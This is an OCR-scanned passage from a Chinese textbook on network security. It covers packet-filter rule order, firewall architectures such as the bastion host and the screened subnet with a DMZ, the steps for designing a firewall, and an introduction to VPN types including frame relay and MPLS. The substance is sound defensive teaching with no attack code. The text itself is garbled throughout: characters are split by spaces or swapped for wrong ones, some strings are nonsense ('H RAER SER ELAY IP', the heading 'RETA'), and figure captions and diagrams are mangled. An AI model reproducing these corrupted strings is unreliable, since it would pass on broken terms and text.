1 出 192. 168. 1. 0 Any n/a n/a n/a 拒绝 
2 出 192. 168.1.1 Any n/a n/a n/a 允许 


表 8-5 正确 的 包 过 滤 规 则 顺序 


编号 方向 源 IP 目的 IP 协议 源 端 口 ”目的 端口 操作 
1 出 192. 168. 1. 1 Any n/a n/a n/a 允许 
2 出 192. 168. 1. 0 Any n/a n/a n/a 拒绝 


(2) 此 种 防火 墙 配置 不 能 隐藏 内 部 网 络 结构 。 如 果 没 有 采取 网 络 地 址 转换 的 话 ,内 部 
网 络 具 有 外 部 网 络 访问 权限 的 机 器 都 会 将 含有 自己 真实 IP 的 数据 包 发 送 到 公共 网 络 之 上 。 
一 个 有 心 的 监听 者 则 可 以 很 容易 地 根据 这 些 数 据 包 的 IP 地 址 推测 出 内 部 网 络 的 结构 等 
信息 。 

(3) 此 种 防火 墙 结构 比较 简单 ,其 全 部 安全 系 于 一 台 防 火 墙 ,相对 易于 攻破 一 一 尤其 是 
当 防 火 墙 设备 没有 选择 专门 硬件 设备 的 情况 下 。 当 防火 墙 本 身 被 攻破 ,内 部 网 络 将 处 于 无 
保护 的 状态 。 

2. 双 宿 主机 网 关 

此 种 结构 的 防火 墙 采用 一 台 应 用 服务 代理 防火 墙 设备 来 实现 。 该 设备 配置 于 内 部 网 
络 、 外 部 网 络 之 间 , 用 于 屏 护 内 部 网 络 , 此 种 结构 如 图 8-15 所 示 。 


内 部 网 络 
= 外 部 网 络 


-一 
应 用 服务 代理 防火 墙 
图 8-15 双 宿 主机 网 关 结构 


防火 墙 设备 一 般 需 选用 加 固 过 的 有 两 个 网 络 接口 的 主机 ,也 可 以 选择 有 两 个 网 络 接口 
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的 普通 计算 机 ,该 主机 通常 被 称 为 堡垒 主机 "。 在 其 上 运行 应 用 服务 代理 防火 墙 软件 ,依据 
用 户 制定 的 规则 来 对 过 往 的 应 用 数据 包 进 行 分 析 和 判断 。 

此 种 体系 的 防火 墙 也 比较 简单 ,易于 实现 ,花费 较 少 ; 由 于 采用 应 用 代理 模式 ,外 部 网 
H RAER SER ELAY IP, 从 而 屏 项 了 内 部 网 络 信息 ; 可 以 容易 地 控制 内 部 网 络 和 外 部 网 
络 之 间 交 流 哪 些 应 用 层 数据 。 

但 是 此 种 体系 的 防火 墙 也 是 单 层 屏蔽 ,堡垒 主机 直接 面 对 各 种 外 部 攻击 ,一 旦 堡垒 主机 
被 攻破 ( 当 没 有 选择 足够 坚固 的 加 固 主机 设备 时 十 分 容易 ) ,整个 网 络 将 直接 暴露 于 各 种 危 
险 之 下 。 

3. 屏蔽 单 宿 堡垒 主机 

此 种 结构 需要 采用 两 台 防 火 墙 设备 ,一 台 是 包 过 滤 防 火 墙 或 者 状态 检测 包 过 滤 防 火 墙 ， 
一 台 应 用 服务 代理 防火 墙 。 应 用 服务 代理 防火 墙 (堡垒 主机 ) 只 需 一 个 网 络 接口 ,其 和 内 部 
网 络 中 其 他 设备 一 样 接 在 网 络 中 。 此 种 结构 如 图 8-16 所 示 。 


内 部 网 络 if 外 部 网 络 
aE 
4 


oe pate JL te 
应 用 服务 代理 防火 墙 “。。 包 过 滤 防 火 坪 
图 8-16 ”屏蔽 单 宿 堡垒 主机 结构 


内 部 网 络 中 所 有 机 器 不 得 直接 访问 外 部 网 络 ,如果 有 访问 外 部 网 络 的 需求 则 需要 通过 
应 用 服务 代理 防火 墙 来 进行 。 包 过 滤 防 火 墙 设置 成 只 允许 堡垒 主机 和 外 界 进 行 访问 即 可 ， 
不 需要 复杂 的 包 过 滤 规 则 表 。 在 此 种 防火 墙 结构 下 ,由 被 包 过 滤 防 火 墙 保护 的 堡垒 主机 代 
理 所 有 外 部 网 络 服务 访问 任务 ,而 堡垒 主机 只 有 一 个 网 络 接口 ,故而 得 名 。 

此 种 结构 采用 了 两 种 防火 墙 设备 ,优势 互补 ,提供 了 更 多 的 安全 性 。 包 过 滤 防 火 墙 的 包 
过 滤 规 则 很 容易 制定 。 

此 种 结构 的 缺点 在 于 ,虽然 逻辑 处 理 上 对 内 部 网 络 实现 了 两 层 保护 ,但 实际 上 仍然 只 有 
包 过 滤 防 火 墙 这 一 层 保护 。 若 其 被 攻破 整个 内 部 网 络 其 实 将 失去 保护 。 

4. 屏蔽 双 宿 堡垒 主机 

屏蔽 双 宿 堡垒 主机 和 刚刚 介绍 的 屏蔽 单 宿 堡垒 主机 很 类 似 , 也 是 采用 两 台 防 火 墙 设备 ， 
一 台 是 包 过 滤 防 火 墙 或 者 状态 检测 包 过 滤 防 火 墙 , 一 台 应 用 服务 代理 防火 墙 。 但 应 用 服务 
代理 防火 墙 (堡垒 主机 ) 需 有 两 个 网 络 接口 ,其 放置 于 包 过 滤 防 火 墙 和 内 部 网 络 之 间 。 此 种 


结构 如 图 8-17 所 示 。 
Ay AS ag A 
内 部 网 络 y Coots > 
y 


应 用 服务 代理 防火 墙 \ 
包 过滤 防 火 墙 


8-17 ”屏蔽 双 宿 堡垒 主机 结构 
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同 屏蔽 单 宿 堡 又 主机 结构 类 似 , 此 种 防火 墙 结构 下 内 部 网 络 各 个 机 器 也 是 不 能 访问 外 
部 网 络 ,任何 访问 均 需 要 通过 堡 驹 主 机 的 应 用 服务 代理 进行 。 包 过 滤 防 火 墙 则 设置 成 只 允 
许 堡垒 主机 对 外 界 进行 访问 。 差 别 只 是 堡垒 主机 需要 两 个 网 络 接口 ,对 内 部 网 络 和 外 部 网 
络 实施 物理 上 的 隔 开 。 
此 种 结构 的 防火 墙 具 有 屏蔽 单 宿 堡垒 主机 的 所 有 优点 ,又 能 避免 其 实质 上 是 单 层 防护 
的 苏 端 。 但 是 ,对 于 一 些 有 建立 类 似 Web 服务 .邮件 服务 之 类 需求 的 机 构 , 用 此 种 防火 墙 结 
构 屏 护 内 部 网 络 显然 是 不 够 的 。 这 些 应 用 服务 器 会 与 外 部 各 种 用 户 频繁 地 打 各 种 交道 , 容 
易 被 人 侵 者 以 防火 墙 无 法 察觉 的 方式 人 侵 。 如 果 将 这 些 服务 器 也 放置 于 内 部 网 络 中 ,被 人 
侵 的 这 些 应 用 服务 器 就 容易 成 为 整个 内 部 网 络 的 安全 隐患 。 
5. RETA 
此 种 防火 墙 结构 是 这 里 介绍 的 最 安全 的 一 种 。 其 需要 两 台 包 过 滤 防 火 墙 或 者 状态 检测 
包 过 滤 防 火 墙 和 一 台 应 用 服务 代理 防火 墙 。 此 种 结构 如 图 8-18 所 示 。 
包 过 滤 防 火 墙 
S 


i 
DMZ y 外 部 网 络 
= l 


图 8-18 屏蔽 子 网 结构 


两 台 包 过 滤 防 火 墙 分 别 隔绝 内 部 网 络 与 外 部 网 络 。 这 样 ,内 部 网 络 、 外 部 网 络 设备 之 间 
的 互 访 (如 果 人 允许 的 话 , 但 这 是 不 被 允许 的 ) 是 需要 通过 两 台 包 过 滤 防 火 墙 的 。 两 台 包 过 滤 
防火 墙 之 间 的 区 域 即 为 “屏蔽 子 网 ”, 一 般 常 被 称 为 " 非 军事 区 ”(DMZ) 。 堡 又 主机 将 被 放置 
于 非 军事 区 ,一 般 采 取 单 宿 形式 。 在 DMZ 中 还 可 以 部 署 Web 服务 器 (如 公司 主页 )、 邮 件 
服务 器 之 类 的 设备 。 

内 部 包 过 滤 防 火 墙 的 包 过 滤 规 则 将 被 设置 为 只 允许 内 部 网 络 和 DMZ 内 的 设备 通信 ; 
外 部 包 过 滤 防 火 墙 的 包 过 滤 规 则 将 被 设置 为 只 允许 外 部 网 络 和 DMZ 内 的 设备 通信 。 也 就 
是 说 ,没有 内 部 网 络 与 外 部 网 络 之 间 直 接 通信 的 可 能 ,内 部 网 络 对 外 部 网 络 的 任何 访问 都 需 
要 经 过 保全 主机 的 应 用 服务 代理 才能 进行 。 
屏蔽 子 网 结构 为 内 部 网 络 提供 了 更 安全 的 防护 。 包 过 滤 防 火 墙 规则 制定 也 比较 简单 ; 
不 泄露 内 部 网 络 结构 ; DMZ 区 内 除了 放置 堡垒 主机 外 还 可 以 设置 面向 公共 网 络 的 各 种 设 
备 。 总 的 来 说 ,这 种 结构 既 足 够 安全 ,又 能 保证 较为 完善 的 网 络 设置 。 屏 项 子 网 的 缺点 在 于 
需要 更 多 设备 ,造价 要 高 一 些 。 
屏蔽 子 网 结构 有 一 个 变种 ,如 图 8-19 所 示 。 只 需要 一 台 包 过 滤 防 火 墙 或 者 状态 检测 包 
过 滤 防 火 墙 和 一 台 应 用 服务 代理 防火 墙 。 包 过 滤 防火 墙 有 3 个 接口 ,分别 连接 外 部 网 络 、 内 
部 网 络 和 DMZ 区 。 堡 又 主机 和 Web 服务 器 .邮件 服务 器 放置 于 DMZ 区 中 。 

相 比 普通 的 屏蔽 子 网 结构 ,这 种 简化 后 的 结构 需要 的 设备 更 少 ( 和 屏蔽 单 宿 保 难 主机 一 
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致 ) ,造价 自然 要 低 些 。 并 且 也 提供 放置 Web 服务 器 之 类 设备 的 区 域 ,综合 性 能 也 很 好 。 此 
种 结构 的 问题 也 是 在 于 其 实际 提供 的 是 单 层 防护 。 
rt asia 


DMZ 


外 部 网 络 


应 用 服务 代理 防火 墙 内 
六 
if 


图 8-19 屏蔽 子 网 结构 的 变种 


实际 上 ,现在 市 面 上 多 数 的 硬件 防火 墙 设备 都 是 提供 DMZ 接口 的 三 接口 包 过 滤 防 火 
墙 。 内 部 网 络 与 DMZ 的 互 访 .DMZ 与 外 部 网 络 的 互 访 都 是 直接 以 硬件 作为 保障 的 。 基 于 
硬件 防火 墙 其 实 难以 轻易 攻破 ,对 于 普通 用 户 ,使 用 三 接口 硬件 防火 墙 设备 的 简化 版 屏蔽 子 
网 结构 也 是 非常 多 的 。 


8.2.6 创建 防火 墙 系统 的 步骤 


各 种 不 同行 业 和 机 构 需要 不 同 用 途 的 内 部 网 络 , 如 校园 网 ` 企 业 网 ,政务 网 .军用 网 等 。 
不 同形 式 的 网 络 对 安全 的 需求 是 有 差别 的 ,需要 采用 与 其 性 质 相 适 应 的 安全 措施 。 在 完整 
的 网 络 安全 体系 中 ,保护 、 检 测 、 反 应 、 回 复 和 策略 与 管理 都 需要 考虑 ,而 防火 墙 作为 保护 的 
重要 手段 是 不 可 或 缺 的 。 防 火 墙 的 方案 设计 是 网 络 构建 的 重要 环节 。 

要 做 好 一 个 网 络 安全 系统 的 设计 一 般 需 要 做 安全 需求 分 析 、 网 络 安全 系统 设计 和 安全 
策略 设计 这 些 方面 。 而 防火 墙 的 设计 是 其 中 重要 的 内 容 , 下 面 将 要 阐述 在 这 些 步 又 中 一 些 
与 防火 墙 设计 相关 的 内 容 。 

1. 安全 需求 分 析 

安全 需求 分 析 需 要 了 解 网 络 性 质 和 其 应 用 性 质 ,以 分 析 其 安全 风险 和 安全 需求 ,从 而 决 
定 网 络 安全 措施 如 何 配置 ,这 自然 也 包括 防火 墙 设计 在 内 。 在 此 ,网 络 本 身 的 性 质 是 指 网 络 
是 开放 的 还 是 专用 的 或 是 内 部 性 质 的 。 

(1) 开放 网 络 是 指 网 络 中 的 设备 会 与 公共 网 络 上 大 量 用 户 有 很 频繁 的 交流 ,其 中 存放 
的 信息 会 有 相当 大 的 数量 向 公共 网 络 公 开 。 例 如 , Web 服务 器 所 在 的 网 络 就 是 此 种 情况 。 
一 般 而 言 , 此 类 网 络 中 主机 都 会 采取 比较 严格 、 充 分 的 安全 措施 ,防火 墙 本 对 其 安全 的 重要 
性 相对 有 限 ,此 种 网 络 一 般 只 选用 屏蔽 路 由 器 结构 即 可 。 从 某 种 意义 上 来 讲 ,屏蔽 子 网 结构 
中 的 DMZ 部 分 也 可 以 视 为 是 这 样 的 网 络 。 

(2) 专用 网 络 是 指 普 通 的 企业 内 部 网 之 类 的 半 开 放 网 络 。 这 些 网 络 可 以 提供 给 其 所 在 
的 企 事业 单位 使 用 ,并 能 够 与 互联 网 连接 。 网 络 中 不 对 来 自 公 共 网 络 的 用 户 提供 资源 或 者 
只 有 那些 被 信任 的 授权 用 户 提供 可 访问 资源 。 一 般 来 说 ,授权 用 户 对 资源 的 访问 多 以 虚拟 
专用 网 (VPN) 来 解决 。 此 种 网 络 会 根据 用 户 应 用 的 情况 和 安全 需要 来 考虑 防火 墙 的 部 署 。 
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(3) 内 部 网 络 是 指 与 公共 网 络 有 物理 隔 开 的 网 络 ,由 于 与 公共 网 络 之 间 没 有 连接 ,也 就 
没有 普通 意义 上 的 内 外 网 之 间 的 防火 墙 需求 。 此 类 网 络 上 要 考虑 的 安全 问题 来 自 内 部 用 户 
的 非 授权 访问 ,可 以 考虑 以 VLAN. 访 问 控制 .安全 审计 与 管理 等 防范 措施 ,一 些 情况 下 也 
可 以 考虑 在 内 部 网 络 的 不 同 部 分 之 间 安装 符合 用 户 安全 需要 的 防火 墙 。 

而 网 络 应 用 的 性 质 会 影响 到 安全 强度 的 需求 ,从 而 影响 到 应 该 使 用 何 种 防火 墙 ,尤其 要 
看 网 络 中 是 否 存放 关键 数据 。 

例如 ,同样 可 以 视 为 专用 网 络 , 公 司 网 络 和 网 吧 对 安全 需要 是 不 同 的 ,网 吧 里 面 基 本 没 
有 需要 控制 他 人 非 授权 访问 的 资源 ,而 公司 网 络 一 般 则 恰恰 相反 。 网 吧 如 果 采 用 防火 墙 的 
话 一 般 使 用 屏蔽 路 由 器 即 可 。 而 公司 可 能 会 考虑 屏蔽 双 宿 堡垒 主机 结构 ,如 果 有 部 署 Web 
服务 器 之 类 的 需要 还 会 考虑 屏蔽 子 网 结构 。 

若是 内 部 网 络 ,也 会 有 依照 安全 需要 使 用 或 者 不 使 用 防火 墙 的 可 能 。 如 果 没 有 存放 重 
要 数据 的 服务 器 ,同时 网 络 规模 也 不 大 的 话 可 以 不 配置 防火 墙 ,只 使 用 VLAN .访问 控制 之 
类 的 手段 即 可 。 如 果 网 络 规模 比较 大 或 者 有 重要 服务 器 则 也 要 依据 情况 考虑 是 否 要 选择 防 
火 墙 。 

除了 对 网 络 及 其 应 用 的 分 析 , 客 户 具体 的 安全 需要 也 需要 充分 考虑 ,在 双方 反复 交流 论 
证 的 过 程 中 , 甲 方 一 直 坚 持 的 要 求 也 是 很 重要 的 。 

2. 网 络 安全 系统 设计 

在 确定 了 网 络 特性 ,应 用 特性 以 及 一 些 用 户 的 安全 需求 后 便 可 以 进行 网 络 安全 系统 设 
计 。 其 中 关于 防火 墙 的 部 分 主要 包括 防火 墙 结构 的 确定 和 设备 的 选用 。 

前 面 介绍 过 的 一 些 防火 墙 结构 ,每 一 种 提供 的 保护 功能 和 设备 数量 (也 就 意味 着 系统 千 
价 ) 也 是 不 同 的 。 具 体 选 择 什么 样 的 结构 与 网 络 和 安全 要 求 有 关 。 例 如 ,对 专用 网 络 来 说 ， 
如 果 安全 要 求 不 高 的 话 可 以 采用 屏蔽 路 由 器 或 者 双 宿主 机 网 关 ,在 满足 安全 需求 的 情况 下 
有 利于 降低 系统 费用 。 在 安全 需求 较 高 的 时 候 可 以 使 用 屏蔽 双 宿 堡 何 主 机 或 者 屏蔽 子 网 结 
构 。 如 果 网 络 中 有 需要 向 外 部 网 络 提供 如 Web 或 者 邮件 服务 的 需要 , 则 屏蔽 子 网 是 不 二 的 
选择 。 而 屏蔽 子 网 结构 中 ,除了 前 面 介绍 过 的 在 DMZ 中 使 用 单 宿 堡 全 主机 外 ,也 可 以 使 用 
双 宿 堡 全 主机 , Web 服务 器 之 类 可 以 放置 于 堡垒 主机 和 外 部 包 过 滤 防 火 墙 之 间 。 

在 确定 了 防火 墙 结构 后 就 需要 选择 防火 墙 设备 。 防 火 墙 结构 确定 了 设备 的 数量 和 类 
型 ,而 具体 选取 什么 样 的 设备 则 要 看 网 络 对 带宽 、 时 延 的 要 求 。 需 要 选择 大 吐 量 、 时 延 等 指 
标 适 宜 的 设备 。 当 设备 性 能 不 足 则 可 能 导致 网 络 性 能 下 降 , 如 果 性 能 过 好 则 可 能 是 浪费 
钱财 。 

采取 何 种 防火 墙 结构 .采用 何 种 性 能 的 设备 ,这 都 是 与 网 络 安全 措施 的 其 他 部 分 相互 影 
响 , 需 要 符合 安全 需求 和 受制 于 项 目 预算 的 课题 。 设 计 者 需要 注意 权衡 。 

3. 安全 策略 设计 

在 确定 防火 墙 结构 、 选 定 设备 后 ,需要 为 防火 墙 设备 设计 安全 策略 与 规则 

例如 ,对 于 一 个 屏蔽 子 网 结构 的 防火 墙 来 说 ,外 部 包 过滤 防 火 墙 需要 禁用 本 身 的 各 种 服 
务 ; 主机 规则 为 允许 外 部 用 户 访问 屏蔽 子 网 中 的 Web 及 邮件 等 应 用 服务 器 和 应 用 服务 代 
理 防火 墙 , 即 需要 指定 DMZ 中 具体 哪些 IP 的 哪些 端口 可 以 被 外 部 访问 ; 设置 好 日 志 规则 ， 
供 以 后 安全 审计 使 用 。 内 部 包 过 滤 防火 墙 也 需要 禁止 本 身 服务 ; 主机 规则 为 运行 内 部 网 络 
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访问 屏蔽 子 网 中 各 种 设备 , 即 需 要 指定 内 部 网 络 中 具体 哪些 IP 可 以 访问 DMZ 中 哪些 IP 的 
服务 器 的 怎样 的 端口 ,或 者 可 以 通过 应 用 服务 代理 访问 哪些 外 部 服务 ; 设置 好 日 志 规 则 。 
堡垒 主机 则 需要 规定 内 部 主机 可 以 访问 的 外 部 站 点 ; 并 确定 对 代理 连接 的 检查 规则 ; 设置 
日 志 。 

此 外 ,还 有 类 似 对 ICMP 报 文 的 应 答 控制 ,阻截 或 者 不 应 答 特定 报 文 避免 被 攻击 者 扫描 
活动 主机 ; 阻塞 ActiveX Java Applets; 恰当 地 使 用 网 络 地 址 转换 等 设计 。 


8.3 VPN 技术 


8.3.1 VPN 的 含义 


网 络 技 术 的 发 展 为 人 们 的 生产 生活 带 来 了 极 大 的 便利 ,人 类 生活 的 很 多 方面 越 来 越 多 
地 与 网 络 应 用 、 网 络 通信 相 联 系 。 但 是 ,公共 网 络 由 于 其 开放 性 和 低 安全 性 并 不 适用 于 一 些 
网 络 应 用 的 需要 。 类 似 电子 商务 、 网 络 银 行 . 具 有 多 家 分 支 结构 公司 的 内 部 通信 ,这 样 对 于 
安全 有 更 高 要 求 的 业务 不 适合 通过 公共 网 络 进行 通信 。 而 为 每 家 公司 .每 种 应 用 布设 专门 
的 网 络 也 会 因为 代价 高 昂 而 不 切实 际 。 为 了 解决 这 个 矛盾 ,人 们 发 展 了 VPN 技术 。 

虚拟 专用 网 (Virtual Private Network, VPN) 指 的 是 在 公用 网 络 上 建立 的 专用 网 络 。 
其 具有 稍微 高 于 公共 网 络 的 使 用 价格 ,基本 接近 于 专用 网 络 的 应 用 性 能 ,具有 极 佳 的 性 
价 比 。 

为 了 方便 理解 后 面 对 于 虚拟 专用 网 知识 的 介绍 ,首先 来 看 看 公共 网 络 和 专用 网 络 都 有 
什么 样 的 好 处 。 

在 这 个 讨论 中 ,公共 网 络 的 优势 可 以 从 两 个 方面 来 看 。 一 方面 是 覆盖 面 广 。 特 别 是 由 
于 互联 网 的 存在 ,可 以 让 世界 上 极 广泛 地 区 的 用 户 都 有 很 便利 的 互相 通信 的 可 能 ,只 要 他 那 
里 能 够 接 入 互联 网 。 另 一 方面 是 价格 便宜 。 从 根本 上 说 ,网 络 的 价格 大 致 是 由 所 有 用 户 依 
据 使 用 量 来 承担 的 。 公 共 网 络 使 用 者 多 ,设备 利用 率 高 ,虽然 整个 网 络 的 造价 非常 高 ,但 具 
体 落实 到 每 个 用 户 的 花费 却 很 少 。 

而 专用 网 络 的 优势 也 可 以 从 3 个 方面 来 看 。 一 方面 是 网 络 具 有 比 公共 网 络 要 高 的 安全 
性 。 专 用 网 络 内 可 以 保证 通信 双方 的 确 是 内 部 人 员 而 不 是 搞 社会 工程 学 攻击 的 欺骗 者 , 信 
息 内 容 和 来 源 的 正确 性 有 较 高 保证 。 外 部 人 员 也 很 难 直 接 在 通信 线路 上 进行 监听 ,消息 不 
易 泄露 。 另 一 方面 是 用 户 对 网 络 有 更 高 的 自主 性 。 配 置 怎样 的 IP, 乃 至 使 用 何 种 协议 ,都 
是 可 以 自主 灵活 选择 的 。 这 对 于 网 络 的 管理 是 有 好 处 的 ,比如 说 上 海 总 部 可 以 统一 设置 为 
172. 16. 0.0 网 段 ,北京 分 部 可 以 设置 为 172. 17. 0. 0 网 段 ,对 于 内 部 相互 访问 以 及 对 访问 权 
限 的 控制 很 方便 。 而 如 果 使 用 互联 网 .ISP 提供 的 地 址 (如 用 户 将 之 用 于 某 个 服务 器 ) 可 能 
是 会 有 变化 的 ,使 用 起 来 就 不 那么 方便 。 还 有 一 个 方面 就 是 速度 快 .时 延 小 。 这 对 于 部 分 时 
间 敏 感度 高 的 应 用 比较 重要 。 公 共 网 络 上 通信 一 般 经 过 的 设备 会 比较 多 ,实际 走行 的 线路 
长 度 也 比较 长 ,这 都 会 造成 更 大 的 时 延 。 互 联网 上 的 IP 协议 运行 原则 是 “尽力 传输 ”, 不 同 
数据 包 经 过 的 路 线 也 可 能 会 不 同 , 除 了 时 延长 之 外 还 将 不 够 稳定 。 公 共 网 络 使 用 者 比较 多 ， 
当 网 络 拥塞 时 通信 会 受到 其 他 用 户 通信 的 干扰 ,这 在 不 采用 QoS( 服 务 质量 保证 ) 时 尤其 
突出 。 
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8.3.2 VPN 的 分 类 


在 这 一 部 分 ,会 从 不 同 视角 介绍 不 同 的 VPN 的 分 类 方法 。 其 实 这 并 不 完全 是 VPN 的 
分 类 ,也 是 要 帮助 大 家 对 VPN 性 能 的 取舍 做 一 些 思辩 

第 一 个 视角 ,可 以 把 VPN 简单 地 分 为 两 个 大 类 ,“ 专 线 ” 类 和 “协议 ”类 。 实 际 上 “专线 ” 
类 都 是 需要 网 络 层 以 下 的 协议 来 实现 的 ,而 “协议 ”类 大 部 分 都 是 需要 网 络 层 以 上 的 协议 来 
实现 的 。 这 个 视角 其 实 是 依据 虚拟 专用 网 采用 怎样 的 方式 在 公共 网 络 上 传输 自己 的 数据 包 
来 分 类 : 是 按照 固定 的 有 一 定 通信 品质 保障 的 路 线 来 传输 ; 还 是 用 普通 公共 网 络 数据 包 
的 形式 传输 。 

专线 类 的 网 络 主要 有 物理 专线 专用 网 、 虚 电路 虚拟 专用 网 .MPLS 虚拟 专用 网 。 

(1) 物理 专线 专用 网 。 通 常人 们 熟悉 的 局 域 网 就 是 采用 物理 上 的 专门 线路 。 采 用 物理 
专线 的 网 络 ,是 真正 的 专用 网 ,并 非 虚拟 。 

对 于 小 范围 的 网 络 ,物理 上 的 专线 构建 的 专用 网 是 可 行 的 。 但 是 更 大 范围 的 专线 ,比如 
说 跨国 公司 建立 一 个 跨 洲 越 洋 的 专线 网 络 一 一 这 种 网 络 的 成 本 必然 由 公司 自己 承担 ,是 不 
现实 的 。 当 然 ,如 果 是 类 似 大 国 军 队 这 样 的 机 构 是 可 能 建立 起 稍微 小 型 些 的 物理 专线 专用 
网 络 的 。 

物理 专线 的 网 络 ,其 时 延 、 网 络 自主 性 都 很 好 ,网 络 安全 性 也 比较 高 。 但 这 里 要 提醒 的 
一 个 问题 是 专线 的 网 络 并 不 是 就 一 定安 全 。 当 通信 距离 较 远 时 ,通信 线路 会 经 历 成 百 上 千 
千 米 的 距离 ,也 需要 若干 通信 设备 来 维持 其 运行 。 漫 长 的 距离 ,众多 设备 , 想 要 做 到 完全 安 
全 是 很 难 的 ,恶意 的 窃听 者 或 者 算 夺 者 总 能 找到 可 乘 之 机 。 在 冷战 时 期 ,美国 人 就 曾经 使 用 
核潜艇 潜入 鄂 霍 次 克海 , 堪 称 在 苏联 太平 洋 舰 队 的 眼皮 底下 成 功 地 窃听 了 其 军用 海底 电缆 。 
并 且 在 海底 电缆 上 安置 了 一 台 重 达 上 千 公斤 的 由 核电 池 驱 动 、 磁 带 记 录 数 据 并 可 持续 工作 
一 年 以 上 的 窃听 装置 ,收集 了 大 量 的 情报 。 

(2) 虚 电 路 虚拟 专用 网 。 物 理 专 线 需 要 布设 专门 的 线路 与 设备 ,花费 之 高 昂 ,能 用 得 起 
的 机 构 很 少 。 而 一 些 数据 链 路 层 协议 却 可 以 在 公共 网 络 上 实现 类 似 的 功能 ,一 个 典型 的 例 
子 就 是 帧 中 继 协议 。 

帧 中 继 协议 (Frame-Rely) 是 电信 运营 商 们 构建 自己 运营 的 公共 网 络 时 较为 常用 的 协 
议 。 其 数据 帧 头 没有 MAC 地 址 这 样 的 内 容 , 而 有 一 个 称 为 “ 虚 电路 号 ”的 字段 , 帧 中 继 交 换 
机 在 收 到 数据 帧 时 会 依据 自身 的 配置 按照 虚 电 路 号 来 决定 如 何 从 指定 的 端口 来 转发 数据 
帧 。 这 样 , 只 要 各 个 帧 中 继 交 换 机 的 相关 配置 不 变 , 特 定 虚 电路 号 的 数据 帧 每 次 都 会 通过 固 
定 的 通信 线路 ,经 过 若干 固定 的 通信 设备 ( 帧 中 继 交 换 机 ) 抵 达 信 宿 端 。 固 定 线路 .固定 设 
备 ,这 与 物理 专线 是 很 类 似 的 。 这 种 状况 下 ,只 要 再 为 特定 虚 电 路 设置 恰当 的 优先 级 等 配 
置 ,使 该 虚 电 路 号 的 数据 帧 传送 时 都 能 保证 足够 的 带宽 和 小 的 时 延 , 如 此 获得 的 虚拟 专用 网 
性 能 就 和 真正 的 专用 网 非常 接近 了 。 

通过 公共 网 络 上 支持 虚 电 路 功能 的 数据 链 路 层 协议 来 维持 一 个 虚拟 专用 网 ,其 性 能 和 
物理 专线 类 似 , 但 费用 要 少 得 多 ,从 而 有 非常 优秀 的 效 费 比 。 

但 是 ,既然 是 依靠 数据 链 路 层 协议 来 搭建 的 VPN ,那么 此 类 VPN 的 覆盖 范围 也 就 被 限 
制 在 运行 此 数据 链 路 层 协议 的 单一 网 络 之 中 ,此 网 络 覆 盖 到 哪里 ,VPN 才能 安装 到 哪里 。 

(3) MPLS 虚拟 专用 网 。 基 于 数据 链 路 层 虚 电路 的 VPN ,会 受到 单一 网 络 覆盖 范围 的 
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限制 ,其 部 署 的 灵活 性 远 达 不 到 互联 网 的 水 平 。 而 如 果 使 用 MPLS 协议 则 可 以 实现 更 广泛 
范围 的 “专线 ”VPN。 
多 协议 标签 交换 (Multi-Protocol Label Switching, MPLS) 协 议 , 可 以 视 为 是 一 种 在 数 
据 链 路 层 和 网 络 层 之 间 的 协议 ,有 人 称 之 为 2. 5 层 协 议 。MPLS 数据 包 会 在 数据 链 路 层 包 
头 和 网 络 层 包 头 之 间 放 置 最 多 32 比特 的 标签 信息 ,如 图 8-20 所 示 。 
0 20 23 24 32 
| 标签 | cos [s| mme | szt 


ZERA | MPLS 头 部 | ip 头 部 | 数据 | 


图 8-20 MPLS 协议 示意 图 


一 个 数据 包 在 最 初 进入 MPLS 处 理 时 ,首先 会 依照 处 理 该 数据 包 设备 的 路 由 表 为 数据 
包 添 加 MPLS 标签 。 此 后 经 过 的 各 跳 路 由 器 都 只 依据 MPLS 标签 对 数据 包 进 行 处 理 , 直 到 
最 后 一 跳 路 由 器 数据 包 才 会 再 次 进行 IP 处 理 。 也 就 是 说 它 在 数据 转发 过 程 中 ,只 在 网 络 边 
缘分 析 UP 报 文 头 ,而 不 用 在 每 一 跳 都 分 析 IP 报 文 头 ,从 而 节约 了 处 理 时 间 。 

MPLS 最 初 是 为 了 提高 转发 速度 而 提出 的 ,该 协议 独立 于 数据 链 路 层 和 网 络 层 ,其 既 有 
数据 链 路 层 交 换 快捷 的 特点 ,又 有 网 络 层 可 以 跨越 不 同 数据 链 路 层 ( 亦 即 跨越 不 同 网 络 ) 的 
特点 。 而 每 次 做 MPLS 处 理 时 ,路 由 设备 会 依据 固定 的 标签 值 做 固定 的 转发 处 理 ,从 而 可 
以 保证 特定 标签 值 的 数据 包 都 走 一 条 固定 的 线路 。 辅 以 一 定 的 服务 质量 设置 ,可 以 保证 这 
条 路 线 的 带宽 等 性 能 。 和 虚 电 路 VPN 类 似 , 这 也 是 一 种 性 能 上 很 接近 物理 专线 的 VPN 实 
现 方式 。 

在 当前 ,MPLS 是 “专线 ? 式 VPN 最 流行 的 实现 手段 。 但 是 ,数据 包 在 做 MPLS 标签 处 
理 的 时 候 需 要 处 理 设备 知晓 从 其 自身 到 达 目 的 IP 的 详细 路 由 信息 ,所 以 一 般 只 适合 在 同一 
个 ISP 内 部 建设 VPN。 如 果 想 跨 ISP 建设 MPLS VPN 则 需要 不 同 的 ISP 做 一 些 深入 的 合 
作 , 需 要 将 彼此 的 路 由 信息 注入 对 方 网 络 。 这 牵涉 较 多 的 商业 合作 问题 并 会 影响 到 各 自 网 
络 的 动态 路 由 协议 收敛 性 能 ,所 以 一 般 还 是 只 在 同一 个 ISP 内 部 建设 此 种 VPN。 

前 面 介绍 的 3 种 专线 类 的 网 络 , 有 两 种 属于 VPN ,它们 在 公共 网 络 上 传送 数据 包 时 会 
按照 固定 的 有 品质 保障 的 线路 来 传输 数据 。 这 一 点 和 真正 的 专用 网 很 类 似 , 这 类 形式 的 
VPN 都 有 较 高 的 传输 速度 和 较 小 时 延 。 在 安全 上 ,运营 商 则 会 对 负担 VPN 的 设备 与 线路 
做 更 高 的 保护 ,并 做 出 绝对 不 进行 监听 、 抓 包 的 商业 承诺 ,这 对 于 一 般 公 司 的 普通 商业 办 公 
安全 来 说 基本 上 已 经 够 用 了 。 但 是 要 建立 此 类 VPN 需要 和 电信 行业 运营 商 签订 专门 的 服 
务 合同 ,付出 高 于 普通 接 入 的 费用 。 而 VPN 的 覆盖 范围 也 会 受到 单一 网 络 或 者 ISP 覆盖 
面 的 限制 。 

对 于 协议 类 的 VPN, 首 先 介 绍 一 些 可 以 使 用 的 协议 ,包括 数据 链 路 层 的 PPTP、L2TP 
协议 ,网 络 层 的 IPSec, GRE 协议 ,传输 层 的 SSL/TLS 协议 。 由 于 在 当前 这 个 视角 下 主要 
